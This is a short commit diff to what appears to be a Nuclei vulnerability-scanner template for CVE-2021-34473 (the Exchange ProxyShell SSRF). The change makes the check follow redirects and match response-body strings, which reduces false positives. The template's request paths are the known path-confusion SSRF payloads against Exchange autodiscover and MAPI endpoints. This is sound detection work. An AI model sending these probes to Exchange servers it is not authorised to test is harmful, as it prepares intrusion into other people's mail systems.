follow redirect, compare body instead of status code, eliminate false positives

cves/2021/CVE-2021-34473.yaml

@@ -14,11 +14,14 @@ info:
 
 requests:
   - method: GET
+    redirects: true
     path:
       - '{{BaseURL}}/autodiscover/autodiscover.json?@test.com/owa/?&Email=autodiscover/autodiscover.json%3F@test.com'
-      - '{{BaseURL}}/mapi/nspi/?@test.com/owa/?&Email=autodiscover/autodiscover.json%3F@test.com'
+      - '{{BaseURL}}/autodiscover/autodiscover.json?@test.com/mapi/nspi/?&Email=autodiscover/autodiscover.json%3F@test.com'
 
     matchers:
-      - type: status
-        status:
-          - 302
+      - type: word
+        part: body
+        words:
+          - Microsoft.Exchange.Clients.Owa2.Server.Core.OwaADUserNotFoundException
+          - Exchange MAPI/HTTP Connectivity Endpoint